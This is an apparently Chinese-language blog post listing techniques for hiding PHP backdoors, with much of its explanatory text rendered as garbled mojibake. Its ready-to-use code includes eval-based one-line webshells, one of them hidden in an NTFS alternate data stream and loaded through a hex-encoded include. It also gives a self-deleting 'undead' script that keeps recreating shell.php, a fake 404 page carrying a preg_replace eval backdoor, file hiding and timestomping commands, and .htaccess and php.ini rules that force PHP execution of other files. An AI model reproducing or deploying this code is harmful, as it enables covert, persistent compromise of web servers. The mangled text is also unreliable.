PHP后门隐藏的一些技巧总结

åè¨

1ãéèæä»¶

attrib +s +a +h +r shell.php //éèshell.phpæä»¶

2ãä¿®æ¹æä»¶æ¶é´å±æ§

//ä¿®æ¹æ¶é´ä¿®æ¹
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//è®¿é®æ¶é´ä¿®æ¹
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//åå»ºæ¶é´ä¿®æ¹
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

ä½¿ç¨å½ä»¤è·åæä»¶å±æ§

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

ä¿®æ¹æä¸ªæä»¶å¤¹ä¸æææä»¶çåå»ºåä¿®æ¹æ¶é´

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

3ãå©ç¨ADSéèæä»¶åå®¹

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

è¿æ ·åå°±çæäºä¸ä¸ªä¸å¯è§çshell hidden.jpgï¼å¸¸è§çæä»¶ç®¡çå¨ãtypeå½ä»¤ï¼dirå½ä»¤ãdelå½ä»¤åç°é½æ¾ä¸åºé£ä¸ªhidden.jpgçã

å©ç¨includeå½æ°ï¼å°index.php:hidden.jpgè¿è¡hexç¼ç ï¼æè¿ä¸ªADSæä»¶includeè¿å»ï¼è¿æ ·åå°±å¯ä»¥æ£å¸¸è§£ææä»¬çä¸å¥è¯äºã

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

4ãä¸æ»é©¬

<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //å é¤èªèº«
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //åå»ºshell.phpï¼è¿éæå¥½ç¨åæçä¸å¥è¯
 sleep(10); //é´éæ¶é´
}
?>

5ãä¸é´ä»¶åé¨

githubé¡¹ç®å°åï¼

https://github.com/VladRico/apache2_BackdoorMod

6ãå©ç¨404é¡µé¢éèåé¨

404é¡µé¢ä¸»è¦ç¨æ¥æåç¨æ·ä½éªï¼å¯ç¨æ¥éèåé¨æä»¶ã

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

AddType application/x-httpd-php .png

å¦å¤ï¼å¨.htaccess å å¥phpè§£æè§åï¼ææä»¶ååå«1çè§£ææphpï¼ä¸ä¼ 1.txtå³å¯è§£æã

<FilesMatch "1"> 
SetHandler application/x-httpd-php 
</FilesMatch>

ï¼å¨PHPææ¡£ä¹åèªå¨æ·»å æä»¶ã
auto_prepend_file = "c:\tmp.txt"
;å¨PHPææ¡£ä¹åèªå¨æ·»å æä»¶ã
auto_prepend_file = "c:\tmp.txt"

ééå¯æå¡çæï¼è®¿é®ä»»æä¸ä¸ªphpæä»¶å³å¯è·åwebshellã

æ»ç»

PHP后门隐藏的一些技巧总结

相关推荐